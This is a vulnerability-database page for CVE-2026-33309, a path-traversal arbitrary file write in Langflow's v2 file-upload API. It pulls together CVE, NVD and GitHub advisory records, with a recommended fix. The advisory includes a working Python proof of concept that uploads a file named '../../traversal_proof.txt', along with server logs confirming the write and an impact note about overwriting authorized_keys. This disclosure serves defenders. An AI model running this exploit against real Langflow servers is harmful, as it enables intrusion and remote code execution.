Vulnerability-Lookup

CVE-2026-33309 (GCVE-0-2026-33309)

Vulnerability from cvelistv5 – Published: 2026-03-24 12:49 – Updated: 2026-03-25 03:55

Title

Langflow has an Arbitrary File Write (RCE) via v2 API

Summary

Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.

Severity ?

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-73 - External Control of File Name or Path
CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-284 - Improper Access Control

Assigner

GitHub_M

References

URL

Tags

https://github.com/langflow-ai/langflow/security/…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	langflow-ai	langflow	Affected: >= 1.2.0, < 1.9.0

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-33309

Vulnerability from fkie_nvd - Published: 2026-03-24 13:16 - Updated: 2026-03-24 19:17

Severity ?

9.9 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	langflow	langflow	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "54961FCE-8971-4CCF-8E68-7B571195DFCD",
              "versionEndExcluding": "1.9.0",
              "versionStartIncluding": "1.2.0",
              "vulnerable": true
            }
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    },
    {
      "lang": "es",
      "value": "Langflow es una herramienta para construir y desplegar agentes y flujos de trabajo impulsados por IA. Las versiones 1.2.0 a 1.8.1 tienen un bypass del parche para CVE-2025-68478 (Control Externo del Nombre de Archivo), lo que lleva a que el problema arquitect\u00f3nico ra\u00edz dentro de \u0027LocalStorageService\u0027 permanezca sin resolver. Debido a que la capa de almacenamiento subyacente carece de comprobaciones de contenci\u00f3n de l\u00edmites, el sistema depende completamente de la dependencia \u0027ValidatedFileName\u0027 de la capa HTTP. Este fallo de defensa en profundidad deja el endpoint \u0027POST /api/v2/files/\u0027 vulnerable a la escritura arbitraria de archivos. El nombre de archivo de la carga multipart omite la protecci\u00f3n del par\u00e1metro de ruta, permitiendo a atacantes autenticados escribir archivos en cualquier lugar del sistema anfitri\u00f3n, lo que lleva a la ejecuci\u00f3n remota de c\u00f3digo (RCE). La versi\u00f3n 1.9.0 contiene una correcci\u00f3n actualizada."
    }
  ],
  "id": "CVE-2026-33309",
  "lastModified": "2026-03-24T19:17:15.510",
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GHSA-G2J9-7RJ2-GM6C

Vulnerability from github – Published: 2026-03-19 17:46 – Updated: 2026-03-25 20:52

Summary

Langflow has an Arbitrary File Write (RCE) via v2 API

Details

Summary

While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.

This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).

Details

The vulnerability exists in two layers:

API Layer (src/backend/base/langflow/api/v2/files.py:162): Inside the upload_user_file route, the filename is extracted directly from the multipart Content-Disposition header (new_filename = file.filename). It is passed verbatim to the storage service. ValidatedFileName provides zero protection here as it only guards URL path parameters.
Storage Layer (src/backend/base/langflow/services/storage/local.py:114-116): The LocalStorageService uses naive path concatenation (file_path = folder_path / file_name). It lacks a resolve().is_relative_to(base_dir) containment check.

Recommended Fix:

Sanitize the multipart filename before processing:

from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
    raise HTTPException(status_code=400, detail="Invalid file name")

Add a canonical path containment check inside LocalStorageService.save_file to permanently kill this vulnerability class.

PoC

This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.

import requests

BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]

# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"

resp = requests.post(
    f"{BASE_URL}/api/v2/files/",
    headers={"Authorization": f"Bearer {token}"},
    files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)

print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`

Server Logs:

2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.

Docker cntainer file:

user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures  secret_key  traversal_proof.txt

Impact

Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.

Severity ?

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-284",
      "CWE-73",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T17:46:43Z",
    "nvd_published_at": "2026-03-24T13:16:02Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n    raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user\u0027s UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n    f\"{BASE_URL}/api/v2/files/\",\n    headers={\"Authorization\": f\"Bearer {token}\"},\n    files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures\tsecret_key  traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.",
  "id": "GHSA-g2j9-7rj2-gm6c",
  "modified": "2026-03-25T20:52:20Z",
  "published": "2026-03-19T17:46:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33309"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow has an Arbitrary File Write (RCE) via v2 API"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-33309 (GCVE-0-2026-33309)

FKIE_CVE-2026-33309

GHSA-G2J9-7RJ2-GM6C

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature